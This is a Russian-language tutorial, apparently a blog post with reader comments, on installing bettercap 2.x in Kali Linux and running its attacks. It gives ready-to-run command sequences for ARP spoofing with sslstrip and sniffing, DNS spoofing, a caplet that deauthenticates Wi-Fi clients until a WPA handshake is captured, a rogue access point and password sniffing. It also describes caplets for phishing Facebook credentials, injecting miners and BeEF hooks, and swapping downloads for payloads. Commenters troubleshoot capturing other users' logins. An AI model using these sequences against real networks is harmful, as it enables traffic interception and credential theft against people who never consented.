Новая версия bettercap 2.x: как установить и использовать в Kali Linux


Оглавление

1. Отличия bettercap 2 от bettercap 1.6

2. Варианты установки bettercap 2 в Kali Linux

3. Скачивание и установка последней версии bettercap

4. Инструкция по использованию bettercap

4.1 Мониторинг локальной сети

4.2 Интерактивный и неинтерактивный режим. Опции -eval и -caplet. Каплеты

4.3 Как запустить спуфинг и сниффинг в bettercap

4.4 Транспарентный (прозрачный) HTTP прокси

4.5 DNS-спуфинг в bettercap

4.6 Встроенный веб-сервер в bettercap

4.7 Мониторинг Wi-Fi сетей

4.8 Захват рукопожатий в bettercap

4.9 Создание мошеннической точки доступа

5. Обзор каплетов bettercap

5.1 Подцепление на BeEF

5.2 Внедрение майнера

5.3 Замена загружаемого файла на полезную нагрузку

5.4 Кража паролей Facebook

5.5 Сбор HTTP запросов

5.6 Сбор логинов и паролей с помощью невидимых форм


5.7 Перенаправление IPv4 DNS запросов используя DHCPv6 ответы

5.8 Тестирование скрипта http.proxy

5.9 Сниффер паролей

5.10 Изменение строки интерактивной сессии bettercap

5.11 Изменение содержимого загружаемых веб-страниц

6. Установка bettercap из исходного кода в Kali Linux

Заключение


Отличия bettercap 2 от bettercap 1.6

Я уже писал про bettercap, в том числе на страницах HackWare.ru:

В конце февраля 2018 вышла bettercap 2 и с тех пор именно эта версия активно развивается, в неё добавляются новые функции. Версия bettercap 1.6 является устаревшей и больше не поддерживается.

В последних версиях bettercap очень много изменений – программа была переписана заново, причём на другом языке программирования: вместо Ruby теперь Go. Благодаря смене языка и другим применяемым методикам, драматически выросла производительность, оптимизировано использование ЦПУ и памяти.

Поменялась модель взаимодействия с программой – раньше это была утилита командной строки, при запуске которой использовались различные опции. Новую версию также можно запускать в не-интерактивном режиме, используя опции, но теперь доступен интерактивный режим, а также API.

Поменялось даже предназначение программы: раньше это была модульная платформа для реализации комплексных атак человек-посередине, теперь кроме поддержки атак человек-посередине, имеется функционал для мониторинга сети, мониторинга и атак на беспроводные сети 802.11 и BLE.

Функции программы стали более атомизированы, например, для запуска самой обычной атаки человек-посередине, состоящий из ARP-спуфинга и сниффинга, теперь нужно ввести несколько команд (раньше было достаточно одной опции). Это увеличивает гибкость использования программы и её модулей, но при этом и усложняет использование. Чтобы автоматизировать работу программы и упростить использование, теперь применяются каплеты, которые управляют работой bettercap и её модулями. Примеры каплетов собраны в репозитории https://github.com/bettercap/caplets.

И это даже не все изменения! Стоит упомянуть, что поддерживаются нативные плагины Go (через модуль packet.proxy), некоторые модули поддерживают скриптовый язык JavaScript для манипулирования данными и управления поведением программы, а сама программа и её каплеты поддерживают нативные системные команды.


В общем – это просто другая программа, в которой всё по-новому.

В связи с этим, была написана новая страница справки по программе: https://kali.tools/?p=3870. Она получилась большой, т.к. дам даны характеристики всех модулей.

Старая страница с описанием программы сохранена! Это сделано по той причине, что на момент написания в Kali Linux доступна именно прежняя версия. К тому же, наверняка найдутся поклонники прежней версии, которые предпочтут её новой.

Варианты установки bettercap 2 в Kali Linux

В репозиториях Kali Linux уже присутствует bettercap, но на момент написания там устаревшая версия 1.6.2. Чтобы проверить, какая версия bettercap в данный момент доступна для установки из официальных репозиториев, выполните:

apt-cache show bettercap | grep 'Version: '

Если будет выведено что-то вроде:

Version: 1.6.2-0kali1

значит версия является устаревшей.

Если там появится версия 2.x, то для её установки достаточно выполнить:

sudo apt install bettercap

Скачивание и установка последней версии bettercap

Удалим устаревшую версию bettercap, если она была установлена ранее:

sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap

Фикс для уже установленной библиотеки:

ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1

Скачиваем архив с бинарным файлом последней версии bettercap:

wget "https://github.com`curl -s https://github.com/bettercap/bettercap/releases | grep -E -o '/bettercap/bettercap/releases/download/v[0-9.]+/bettercap_linux_amd64_(|v)[0-9.]+zip' | head -n 1`"

Распаковываем, перемещаем, делаем очистку и проверку:

unzip bettercap_linux_amd64_*zip
sudo mv bettercap /usr/local/bin/
rm bettercap_linux_amd64_*
bettercap -h

Установка bettercap из исходного кода будет рассмотрена в конце статьи.

Инструкция по использованию bettercap

Теперь главной функциональной особенностью bettercap является не только и не столько различные атаки человек-посередине. Благодаря каплетам и скриптам, возможны реализации самых разных фишинговых атак и атак на основе манипуляции данными, отправной точкой которых является атака человек-посередине. По этой причине непросто написать исчерпывающую инструкцию по bettercap.

Чтобы примерно представить возможности программы, прочитайте перевод документации на русский язык, а также ознакомьтесь с репозиторием каплетов: многие из них имеют комментарии в исходном коде, которые помогают понять, что именно будет делать программа.

Далее будут рассмотрены совсем простые примеры запуска bettercap. Начнём с использования интерактивной сессии, для этого запустите bettercap:


sudo bettercap

Мониторинг локальной сети

Чтобы вывести список обнаруженных хостов локальной сети наберите команду:

net.show

Это пассивный метод мониторинга, поскольку поиск хостов основывается на считывании ARP кэша.

Чтобы выйти из программы, наберите q или нажмите CTRL+z.

А модуль net.probe активно ищет хосты, отправляя фиктивные UDP пакеты каждому возможному IP в подсети. Включаем этот модуль:

net.probe on

Смотрим обнаруженные хосты:

net.show

Это активный метод – анализаторам сети будет видно, что компьютер с bettercap массово рассылает пакеты.

С помощью bettercap можно непрерывно мониторить состояние сети, получая на экране данные в режиме реального времени, для этого последовательно выполните:

net.probe on
ticker on

Первая команда net.probe on, как мы выяснили чуть раньше, включает активный поиск хостов, а вторая команда используется для периодического выполнения заданного набора команд. Поскольку мы не указали, какие именно команды выполнять, то выполняются команды по умолчанию, а именно clear; net.show, в результате достигается интересный эффект: в фоне постоянно происходит поиск хостов, а на экране в режиме реального времени выводится актуальная информация.

Интерактивный и неинтерактивный режим. Опции -eval и -caplet. Каплеты

Если вам неудобно каждый раз запускать bettercap в интерактивном режиме, то вы можете использовать опцию -eval, после которой укажите команды, которые нужно выполнить. Например, предыдущий пример равнозначен такому запуску:

sudo bettercap -eval "net.probe on; ticker on"

Прямо в интерактивной сессии bettercap можно выполнять команды системы. К примеру, следующий набор команд проверяет, имеется ли подключение к глобальной сети:

ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету"

Эту же команду (набор команд) можно выполнить прямо в интерактивной сессии, достаточно перед первой командой поставить восклицательный знак:

!ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету"

Теперь мы к мониторингу локальной сети добавим ещё и мониторинг подключения к Интернет. Запускаем активный поиск локальных хостов:

net.probe on

Устанавливаем значение переменной ticker.commands – там теперь три команды – две уже известные нам внутренние команды bettercap (это clear; net.show;) и ещё один набор системных команд:

set ticker.commands 'clear; net.show; !ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету"'

При желании, можно увеличить период до трёх секунд (по умолчанию одна секунда):

set ticker.period 3

Запускаем циклическое выполнение задачи:

ticker on

В результатах выполнения обратите внимание на новую строку «Есть подключение к Интернету»:

Используя знакомую нам опцию -eval это всё можно запустить ещё и таким образом:

sudo bettercap -eval 'net.probe on; set ticker.commands "clear; net.show; !ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету""; set ticker.period 3; ticker on'

Но кроме опции -eval есть ещё опция -caplet, которая также позволяет запустить программу с заданными командами.

Давайте создадим наш первый каплет. Для этого создайте текстовый файл с именем netmon.cap (имя можно выбрать любое):

gedit netmon.cap

И просто скопируйте в него все наши команды, которые мы вводили в интерактивной сессии, должен получится файл следующего содержания:

# Суперхакерский каплет – эта строка здесь для демонстрации комментариев
net.probe on
# Обратите внимание на отсутствие кавычек в этом примере и на кавычки в предыдущих:
set ticker.commands clear; net.show; !ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету"
set ticker.period 3
ticker on

Теперь запустим bettercap с опцией -caplet, после которой укажем путь до файла с каплетом:

sudo bettercap -caplet ./netmon.cap

Как запустить спуфинг и сниффинг в bettercap

Начнём с запуска ARP-спуфинга:

arp.spoof on

По умолчанию выполняется атака на всю подсеть, поэтому если ARP-спуфинг работает плохо, то установите IP целей с помощью переменной arp.spoof.targets. Её значением может быть один IP или несколько IP перечисленных через запятую, например:

set arp.spoof.targets 192.168.0.90

Как уже было показано выше, чтобы увидеть все хосты в локальной сети и выбрать жертву используется команда:

net.show

Значения переменных нужно устанавливать до запуска соответствующего модуля. Если вам нужно поменять значение переменной уже запущенного модуля, то остановите уже запущенный модуль, установите новое значение и вновь запустите модуль, например:

arp.spoof off
set arp.spoof.targets 192.168.0.90
arp.spoof on

Для сниффера по желанию, можно уменьшить уровень вербальности:

set net.sniff.verbose false

Если вы хотите сохранить захваченные во время сниффинга сетевые пакеты в файл, то в качестве значения net.sniff.output укажите файл для сохранения данных

set net.sniff.output /tmp/captured.pcap

Запускаем сниффер:

net.sniff on

Транспарентный (прозрачный) HTTP прокси

Для анализа HTTP трафика необходимо включить http.proxy. Если его использовать совместно со спуфером, весь HTTP трафик будет перенаправляться на него и при необходимости он будет автоматически обрабатывать перенаправление портов.

Если вы хотите использовать sslstrip, то необходимо изменить значение переменной http.proxy.sslstrip, которое по умолчанию установлено на false:

set http.proxy.sslstrip true

Сам прокси включается так:

http.proxy on

Полный перечень команд для атаки на локальный IP 192.168.0.90, в результате будет выполняться непрерывный ARP-спуфинг данного адреса, что приведёт к тому, что трафик будет перенаправлен на машину атакующего, на прозрачный HTTP прокси, где, по возможности, с помощью sslstrip будет сделан переход с HTTPS на HTTP, вербальность сниффера понижена, чтобы не выводились не интересующие нас данные:

set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets 192.168.0.90
arp.spoof on
http.proxy on
net.sniff on

Для атаки на всю подсеть, из этого списка команд пропустите команду set arp.spoof.targets 192.168.0.90.

DNS-спуфинг в bettercap

За подмену DNS запросов отвечает модуль dns.spoof. Вы можете выполнить настройку перед его запуском.

По умолчанию спуфятся все домены, если вы хотите это изменить, то перечислите их через запятую в качестве значения переменной dns.spoof.domains. Например, я хочу спуфить только два домена suip.biz и mi-al.ru, тогда:

set dns.spoof.domains suip.biz, mi-al.ru

По умолчанию ответы DNS сервера подменяются так, что в каждый из них вставляется IP, указывающий на адрес интерфейса той машины, на которой запущен bettercap. IP адрес меняется через переменную dns.spoof.address:

set dns.spoof.address желаемый_IP

Этот модуль будет отвечать только на те запросы, которые нацелены на локальный ПК, чтобы отвечать на все установите значение переменной dns.spoof.all на true:

set dns.spoof.all true

Для запуска модуля:

dns.spoof on

Встроенный веб-сервер в bettercap

Для обработки запросов к веб-серверу вы можете использовать установленный в вашей системе сервер, например, в Kali Linux установлен Apache и его достаточно только запустить:

systemctl start apache2

В bettercap также встроен простой сервер, который может отдавать HTML страницы и другие статичные файлы, например JavaScript, CSS, картинки и т.п.

Нужно указать адрес папки сервера, изменив значение переменной http.server.path:


set http.server.path /путь/до/папки

О дополнительных опциях для настройки вы узнаете на странице с документацией.

Для запуска сервера (системный сервер, например Apache, должен быть остановлен, поскольку может возникнуть конфликт из-за того, что разные программы пытаются прослушивать один и тот же порт):

http.server on

Мониторинг Wi-Fi сетей

Это новая функция bettercap. Кстати, ещё добавлена поддержка Bluetooth Low Energy.

Для работы с Wi-Fi нужно использовать опцию -iface, после которой указать имя беспроводного интерфейса:

sudo bettercap -iface wlan0

В случае, если при последующих командах у вас будут возникать ошибки, например, такая:

Can't restore interface wlan0 wireless mode (SIOCSIWMODE failed: Bad file descriptor).
Please adjust manually.

То выйдете из bettercap и вручную переведите беспроводной интерфейс в режим монитора. Например, следующим образом:

sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

Теперь, когда беспроводной интерфейс в режиме монитора, снова запускаем bettercap и вводим команду:

wifi.recon on

Она запускает обнаружение Wi-Fi устройств:

Если вы хотите ограничится мониторингом только определённых каналов, то выполните команду вроде этой (она устанавливает переключение только по первым трём каналам):

wifi.recon.channel 1,2,3

Кстати, если вам в дальнейшем понадобится очистить список каналов (сделать так, чтобы программа прыгала по всем каналам), то для этого используется следующая команда:

wifi.recon.channel clear

Чтобы показать результаты наберите:

wifi.show

Следующий набор команд запустит сбор информации о Wi-Fi устройствах, будет выводить таблицу с полным перечнем обнаруженных точек доступа, а также список из последних 20 обнаружений:

set ticker.commands 'clear; wifi.show; net.show; events.show 20'
wifi.recon on
ticker on

Захват рукопожатий в bettercap

Да, bettercap теперь умеет и это, причём также умеет выполнять атаку деаутентификация.

Если мы хотим захватить рукопожатие от конкретной точки доступа, то нам нужно знать канал, на котором она работает. В принципе, этого достаточно, если мы собираемся пассивно ожидать, когда клиент подключится/переподключится к ТД.

Для выполнения атаки деаутентификация нам нужно знать BSSID точки доступа (в этом случае атака будет выполняться в отношении всех клиентов) или BSSID клиента (в этом случае атака будет выполнятся в отношении одного клиента).

Начнём с настройки сниффера. Сделаем его вербальным:

set net.sniff.verbose true

Установим фильтр для пакетов рукопожатия:

set net.sniff.filter ether proto 0x888e

Настроем сохранение полученных данных в файл wpa.pcap:

set net.sniff.output /root/wpa.pcap

Запустим сниффер:

net.sniff on

Сниффер каждый раз запускается одинаково. Дальнейшие значения переменных зависят от атакуемой цели.

Цель, которую я хочу атаковать, работает на 8 канале, поэтому устанавливаю канал:

wifi.recon.channel 8

Запускаем анализ сети:

wifi.recon on

Меня интересует ТД с BSSID 50:46:5d:6e:8c:20, можно установить фильтр:

wifi.recon 50:46:5d:6e:8c:20

Следующие две команды опциональные, они будут периодически очищать экран и выводить таблицу с увиденными базовыми станциями (можно посмотреть, есть ли вообще у атакуемой Точки Доступа клиенты), если вы этого не хотите, то пропустите эти команды:

set 'ticker.commands clear; wifi.show'
ticker on

Переходим к деаутентификации. Атаку можно выполнять в двух формах:

wifi.deauth ЗДЕСЬ-BSSID-ТД

или:

wifi.deauth ЗДЕСЬ-BSSID-КЛИЕНТА

В первом случае будут деаутентифицироваться все клиенты, во втором – конкретный указанный клиент. Я хочу деаутентифицировать всех клиентов точки доступа, тогда моя команда:

wifi.deauth 50:46:5d:6e:8c:20

Файл с захваченными фреймами можно открыть для проверки в Wireshark:

Чтобы отфильтровать четырёхэтапные рукопожатия, используйте фильтр:

llc.type == 0x888e

Или фильтр:

eapol

Кроме bettercap уже существует достаточно программ, которые умеют захватывать рукопожатия. Преимуществом bettercap является то, что мы можем автоматизировать процесс.

К примеру, следующая команда проверяет файл захвата и выводит информацию о рукопожатии(ях) если они там обнаружены:

tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null

Чуть более вербальная команда:

if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Захвачено рукопожатие"; else echo "Ничего нет"; fi;

Нам нужна эта команда для написания каплета, который будет работать по следующей логике:

  1. при старте запускает сниффер для захвата четырёхэтапного рукопожатия
  2. запускает атаку деаутентификации
  3. проверяет, было ли захвачено рукопожатие
  4. если рукопожатие захвачено – завершение работы bettercap
  5. если рукопожатие не захвачено, возврат к шагу 2

Для этого я создаю файл HS_capture_50465d6e8c20.cap со следующим содержимым:

# Настройка и запуск сниффера
set net.sniff.verbose true
set net.sniff.filter ether proto 0x888e
set net.sniff.output /root/wpa.pcap
net.sniff on

# Настройка и запуск анализа беспроводных сетей; канал и BSSID замените на свои значения
wifi.recon.channel 8
wifi.recon on
sleep 20
wifi.recon 50:46:5d:6e:8c:20

# Выполнение атаки деаутентификация, сон на 60 секунд, проверка, было ли захвачено рукопожатие, если да – то выход из bettercap. Обратите внимание, что если вы поменяли имя файла, куда сохраняется рукопожатие, то вам также нужно поменять его и здесь - /root/wpa.pcap, а также нужно заменить BSSID на атакуемую вами ТД
set ticker.commands wifi.deauth 50:46:5d:6e:8c:20; sleep 60; !'if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Рукопожатие захвачено, завершаем работу программы."; sleep 1; pkill -1 bettercap; else echo "Рукопожатие ещё не захвачено"; fi;'
# Период выполнения цикла – здесь установлена всего одна секунда, поскольку в предыдущем наборе команд имеется sleep 60;, которая устанавливает сон на 60 секунд:
set ticker.period 1
# Запуск цикличного выполнения команд
ticker on

Запуск bettercap

sudo bettercap -iface wlan0 -caplet ./HS_capture_50465d6e8c20.cap

Программа будет работать пока не захватит рукопожатие. Но после захвата рукопожатия, bettercap завершит свою работу и больше не будет беспокоить клиентов сети.

Создание мошеннической точки доступа

Среди Wi-Fi функций имеется возможность создавать мошенническую точку доступа – с шифрованием или без.

Создание поддельной точки доступа "Banana" с BSSID DE:AD:BE:EF:DE:AD на 5 канале без шифрования:

set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false
wifi.recon on; wifi.ap

Как можно увидеть – имеется большой простор для автоматизации и различных комбинированных атак, в том числе автоматизированных атак на основе социальной инженерии.

Обзор каплетов bettercap

Как уже было сказано, каплеты размещены в официальном репозитории. Там есть как совсем простые примеры, автоматизирующие несколько типичных действий, так и довольно комплексные реализации современных атак.

Подцепление на BeEF

BeEF – это платформа эксплуатации веб-браузеров. Для начала эксплуатации необходимо внедрить в веб-страницу JavsScript код. Каплеты beef-passive.cap и beef-active.cap делают именно это. Внедрением управляет файл beef-inject.js, поэтому если вы хотите изменить адрес или порт JavsScript файла, то нужно отредактировать именно этот файл.

Перед началом данной атаки вам нужно самостоятельно запустить службу BeEF, либо отредактировать каплеты, добавив туда соответствующую команду.

Первый каплет внедряет пассивно, второй – активно, используя перенаправление трафика с других хостов с помощью ARP-спуфинга.

Внедрение майнера

crypto-miner.cap внедряет майнер (файл). Вам самостоятельно нужно ввести свой ключ, отредактировав файл crypto-miner.js.

Замена загружаемого файла на полезную нагрузку

Каплет download-autopwn.cap в зависимости от атакуемого устройства подсовывает ему подходящий файл. Настройка выполняется в download-autopwn.cap. В паре идёт файл download-autopwn.js, который предназначен НЕ для внедрения в браузер, он используется в качестве скрипта для модуля http.proxy (т.е. управляет поведением bettercap и манипуляцией трафиком).

Если кто-то загрузил полезную нагрузку:

Кража паролей Facebook

Каплет fb-phish.cap показывает фальшивую страницу входа Facebook на 80 порту, прерывает попытки входа, используя http.proxy, печатает учётные данные и перенаправляет цель на реальный Facebook.

В паре идёт файл fb-phish.js, который является скриптом для модуля http.proxy.

Вам самим нужно позаботится о создании фейковой страницы входа и запуске сервера. В этом вам поможет файл с инструкциями Makefile (если у вас скачен репозиторий каплетов, в командной строке Bash выполните):

cd caplets/www/
make

Затем уже в bettercap:

set http.server.address 0.0.0.0
set http.server.path caplets/www/www.facebook.com/

set http.proxy.script caplets/fb-phish.js

http.proxy on
http.server on

Сбор HTTP запросов

http-req-dump.cap использует модуль http-req-dump.js, он написан на JavaScript и собирает разнообразные HTTP запросы. Можно комбинировать со сниффингом, для этого раскомментируйте соответствующие строки в файле http-req-dump.cap.

Сбор логинов и паролей с помощью невидимых форм

Суть атаки в следующем: если на сайте вы ранее вводили логин и пароль, то если на странице присутствует форма, браузер автоматически заполняет введённые ранее данные. Firefox делает это сразу, для Chrome требуется любое взаимодействие пользователя – например, клик в любом месте веб-страницы. Эта форма может быть невидимой. Итак, атакующий внедряет на страницы сайта невидимую форму, в которую браузер сам вводит логин и пароль, форма передаёт данные атакующему.

Это реализовано в каплете login-man-abuse.cap.

Имеется демо-страница, на которой вы можете увидеть пример атаки: введите любой e-mail и пароль, затем вас перекинет на другую страницу, которая «угадает», что именно вы ввели ранее.

Перенаправление IPv4 DNS запросов используя DHCPv6 ответы

Описание атаки на английском языке: https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

Примерная суть в том, что в современных версиях Windows система настроена отдавать предпочтение IPv6. Атакующий отвечает DHCPv6 сообщениями, предоставляет системе link-local IPv6 адрес и указывает хост атакующего в качестве DNS сервера. Далее выполняется атака по сценарию DNS-спуфинга.

Атака реализована в mitm6.cap.

Тестирование скрипта http.proxy

Каплет proxy-script-test.cap поможет вам протестировать работу скрипта модуля на JavaScript. В паре идёт файл proxy-script-test.js.

Сниффер паролей

Очень просотой камплет simple-passwords-sniffer.cap. В нём показывается поиск данных по регулярному выражению и сохранение данных в файл, за это отвечают команды:

set net.sniff.regexp .*password=.+
set net.sniff.output passwords.cap

Изменение строки интерактивной сессии bettercap

Можно настраивать строку, в которую вы вводите команды. В том числе можно показывать в ней полезную информацию. Пример такой настройки с выводом статистики содержится в test-prompt-stats.cap.

Изменение содержимого загружаемых веб-страниц

Каплет web-override.cap переписывает любую загруженную страницу на ту, которую указал атакующий. В паре идёт файл web-override.js, это модуль http.proxy и именно в нём описываются выполняемые действия, например, какую страницу показывать.

Вы можете писать свои собственные каплеты, при желании, интересные примеры можно предлагать для добавления в репозиторий.

Установка bettercap из исходного кода в Kali Linux

Необходимо установить компилятор Go. Подробно процесс установки описан здесь: https://zalinux.ru/?p=1245

Установите необходимые для компиляции пакеты:

sudo apt install bison byacc libpcap0.8-dev pkg-config libnetfilter-queue-dev

Фикс для уже установленной библиотеки:

ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1

Скачиваем исходный код, компилируем, устанавливаем:

go get github.com/bettercap/bettercap
cd $GOPATH/src/github.com/bettercap/bettercap
make build && sudo make install

Чтобы в дальнейшем обновить программу:

go get -u github.com/bettercap/bettercap
cd $GOPATH/src/github.com/bettercap/bettercap
make build && sudo make install

Заключение

Как можно увидеть, bettercap из простой и весёлой программы для атак человек-посередине разросся в мощный комбайн для анализа трафика, тестирования и выполнения разнообразных сетевых и беспроводных атак.

Для упрощения рутинных действий можно писать небольшие каплеты в несколько команд – например, для запуска сниффинга в локальной сети, или сбора информации о Wi-Fi сетях.


Рекомендуется Вам:

38 комментариев to Новая версия bettercap 2.x: как установить и использовать в Kali Linux

  1. Killo:

    При попытке снифа wifi сети получаю ноль полезной информации. 

    запускаю bettercap -iface wlan0

    затем net.sniff on
    arp.spoof on

     

    получаю что-то такое 
    192.168.1.0/24 > 192.168.1.134  » [05:48:17] [net.sniff.leak.udp] udp MACVOSTOK3R.:60713 > 239.255.255.250:ssdp 183 bytes map[Size:%!s(int=183)]
    192.168.1.0/24 > 192.168.1.134  » [05:48:43] [net.sniff.leak.udp] udp router.asus.com.:33174 > 239.255.255.250:ssdp 390 bytes map[Size:%!s(int=390)]
    192.168.1.0/24 > 192.168.1.134  » [05:48:43] [net.sniff.leak.udp] udp router.asus.com.:33174 > 239.255.255.250:ssdp 458 bytes map[Size:%!s(int=458)]
    192.168.1.0/24 > 192.168.1.134  » [05:48:43] [net.sniff.leak.udp] udp router.asus.com.:33174 > 239.255.255.250:ssdp 470 bytes map[Size:%!s(int=470)]
    192.168.1.0/24 > 192.168.1.134  » [05:48:44] [net.sniff.leak.udp] udp router.asus.com.:33174 > 239.255.255.250:ssdp 454 bytes map[Size:%!s(int=454)]

    Как получить посещаемые сайты и данные логина и пароля с http сайтов?

    • Alexey:

      Видимо, не работает ARP-спуфинг. Кстати, у меня тоже не работает: ни на проводном, ни на беспроводном интерфейсах. Я сначала подумал, что дело в IPv6 или в особенностях роутера (некоторые роутеры препятствуют ARP-спуфингу), но Ettercap в этой же самой сети прекрасно справляется.

      Народ, кто попробовал – пишите здесь, у кого как, работает ли MITM?

      Killo, это вы открывали тикет? Надо собрать побольше информации и открыть новый тикет. Похоже на баг, только странно, что такую очевидную вещь не заметили другие.

      • Killo:

        я открывал, открыл еще раз, так как закрыли неразобравшись в проблеме. мне кажется по скриншоту там все понятно)

      • Killo:

        Тикет снова зарыли отправив в мануал в котором я так и не нашел разрешения этого вопроса( Если кто-то справился с этой проблемой то отпишите плиз "КАК!".

        • Alexey:

          Уже увидел - я был подписан на тикет.

          Я сам перечитываю мануал и смотрю примеры каплетов - не могу понять, что не так. Поражают такие люди - неужели трудно пару команд написать, чтобы народ перестал маяться…

        • Alexey:

          До меня допёрло. В общем, после начала ARP-спуфинга нужно запускать http.proxy:

          http.proxy on

          Если использовать совместно со спуфером, весь HTTP трафик будет перенаправляться на него и при необходимости он будет автоматически обрабатывать перенаправление портов.

          Понятно, что мы затупили, но всё равно, автор – хам smiley Ему достаточно ведь было одну команду написать…

          • Killo:

            запустил, не помогло, все равно не видит нет ни одного перехода или логина отображаемого в bettercap. прокси, сниффер и arp запущены. но результат такой же как на первом моем скрине.

          • Killo:

            Ощущаю себя максимально криворуким. У тебя стало после включения http.proxy показывать данные посещаемых клиентами сети сайтов?

            • Alexey:

              Да, но нестабильно: какое-то время показывает, потом останавливается. Пробовал отключать IPv6 – не могу понять, влияет или нет. Кажется, что работает стабильнее. Через провод, вроде, тоже работает лучше – но опять же атака произвольно «отваливается».

              Запускаю так:

              bettercap -iface wlan0

              Затем команды:

              set http.proxy.sslstrip true
              set net.sniff.verbose false
              arp.spoof on
              http.proxy on
              net.sniff on

              Сейчас пробую запускать с опцией -debug для отладки, в глаза бросаются надписи:

              192.168.0.0/24 > 192.168.0.80  » [18:40:48] [sys.log] [inf] ARP spoofer started, probing 256 targets.
              192.168.0.0/24 > 192.168.0.80  » [18:40:49] [sys.log] [dbg] Could not find hardware address for 192.168.0.0, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:49] [sys.log] [dbg] Could not find hardware address for 192.168.0.2, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:50] [sys.log] [dbg] Could not find hardware address for 192.168.0.3, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:50] [sys.log] [dbg] Could not find hardware address for 192.168.0.4, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:51] [sys.log] [dbg] Could not find hardware address for 192.168.0.5, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:51] [sys.log] [dbg] Could not find hardware address for 192.168.0.6, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:52] [sys.log] [dbg] Could not find hardware address for 192.168.0.7, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:52] [sys.log] [dbg] Could not find hardware address for 192.168.0.8, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:53] [sys.log] [dbg] Could not find hardware address for 192.168.0.9, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:53] [sys.log] [dbg] Could not find hardware address for 192.168.0.10, retrying in one second.
              192.168.0.0/24 > 192.168.0.80  » [18:40:54] [sys.log] [dbg] Could not find hardware address for 192.168.0.11, retrying in one second.

              И т.д.

              Может будет лучше если вручную указывать адреса для атаки.

              Это можно сделать через переменную

              set arp.spoof.targets тут список IP через запятую

            • Alexey:

              Помогла перед запуском спуфинга установка IP цели:

              set arp.spoof.targets 192.168.0.90

              и теперь атака не отваливается – всё стабильно, постоянно появляются надписи (включён режим отладки):

              192.168.0.0/24 > 192.168.0.80  » [18:59:11] [sys.log] [dbg] Sending 60 bytes of ARP packet to 192.168.0.90:c4:85:08:e1:67:ed.
              192.168.0.0/24 > 192.168.0.80  » [18:59:12] [sys.log] [dbg] Sending 60 bytes of ARP packet to 192.168.0.90:c4:85:08:e1:67:ed.
              192.168.0.0/24 > 192.168.0.80  » [18:59:13] [sys.log] [dbg] Sending 60 bytes of ARP packet to 192.168.0.90:c4:85:08:e1:67:ed.
              192.168.0.0/24 > 192.168.0.80  » [18:59:14] [sys.log] [dbg] Sending 60 bytes of ARP packet to 192.168.0.90:c4:85:08:e1:67:ed.
              192.168.0.0/24 > 192.168.0.80  » [18:59:15] [sys.log] [dbg] Sending 60 bytes of ARP packet to 192.168.0.90:c4:85:08:e1:67:ed.
              192.168.0.0/24 > 192.168.0.80  » [18:59:16] [sys.log] [dbg] Sending 60 bytes of ARP packet to 192.168.0.90:c4:85:08:e1:67:ed.
              
      • Zang:

        В 2.10 у меня  тоже нестабильно работает ARP-спуфинг. Заметил, что он почему-то всегда работает после сканирования сети (net.probe on; net.show)

  2. кукумария в:

    суперхакерский каплет удивительно удобный для анализа работы сети буду разбираться…сначало думал что то они намудренно испортили а оказалось действительно швейцарский нож))…. спасибо - и вообще за работу сайта.

  3. Александр:

    Зачем же так усложнили то

  4. кукумария в:

    ссылка на криптомайнер не работает добавлю это сюда

    https://github.com/bettercap/caplets/blob/7b711fb7bc0d5bcb960986ed9c9c68c1674ae680/crypto-miner.cap

    • Alexey:

      Спасибо, что обратили внимание. Проблема была в плагине WP No External, который, как оказалось, не дружит с анкорными ссылками (нужны для оглавления статьи). Добавил github.com в исключения – вроде стало нормально.

  5. Арсен:

    Здравствуйте люди добрые. Что с этим делать? Тапками не кидайтесь, я только в начале тернистого пути изучения Linux.

    • Alexey:

      Приветствую! Дело в том, что вы пытаетесь запустить 64-битный файл в 32-битной системе. Скомпилированные бинарные файлы доступны только для 64-битных систем. Посмотрите сами здесь: https://github.com/bettercap/bettercap/releases/

      Для выхода из этой ситуации, вам нужно установить bettercap из исходного кода. Это довольно просто и описано в этой же инструкции: https://hackware.ru/?p=5022#6

      Ещё у вас на скриншоте я увидел ошибку, что не получается создать символьную ссылку. Это тоже связано с тем, что у вас 32-битная система и файл libpcap.so.1.8.1 размещён в директории с другим именем.

      Чтобы узнать, где именно находится этот файл выполните команду

      locate libpcap.so.1.8.1

      Напишите здесь путь до вашего файла, и я напишу правильную команду для 32-битной системы.

      • Арсен:

        Доброго времени суток! Спасибо огромное за коммент.! Установил все таки х64 и все получилось на ура.

  6. Андрей:

